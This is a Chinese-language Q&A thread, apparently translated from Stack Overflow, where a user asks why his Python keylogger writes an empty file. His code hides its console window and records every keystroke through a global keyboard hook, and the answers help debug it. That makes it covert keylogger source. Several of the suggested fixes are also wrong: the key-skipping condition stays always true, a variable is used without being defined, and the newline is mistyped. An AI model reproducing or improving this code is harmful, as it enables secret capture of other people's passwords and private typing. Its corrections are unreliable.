python写入输出文件
问题描述:
我正在尝试将我对新文本文件所做的按键写入。 我得到了下面的代码:python写入输出文件
import win32api
import win32console
import win32gui
import pythoncom
import pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
buffer = f.read()
f.close()
f = open('C:\Users\Joey\Desktop\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
,所以我想这是很好的我没有得到任何错误。但每次我检查output.txt
我看到一个空的文本文件。我的代码有什么问题?
答
看here为w
和w+
之间的差异。你每次都用第二次写入文件覆盖文件,以便写入f=open('C:\Users\Joey\Desktop\output.txt', 'w')
我想象你的文件只有一个换行符。尝试打开只有a
选项每次写入文件结尾(EOF)。
if event.Ascii != 0 or event.Ascii !=8:
f=open('C:\Users\Joey\Desktop\output.txt', 'a')
keylogs=chr(event.Ascii)
if event.Ascii == 13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()
+0
感谢@TomNash帮助我:D – joey
答
最初,你if
语句总是判断为真,应该是:
if event.Ascii != 0 or event.Ascii !=8:
,或者甚至更好:
if event.Ascii not in [0, 1]:
另外,文件打开方式可能不是你想要看看这the docs这些破坏。
您是否尝试过打印“缓冲区”的内容以确保不将空字符串写入文件?通过传递'a'选项打开语句,而不是重新读取文件内容,您可以考虑追加到文件。 – albert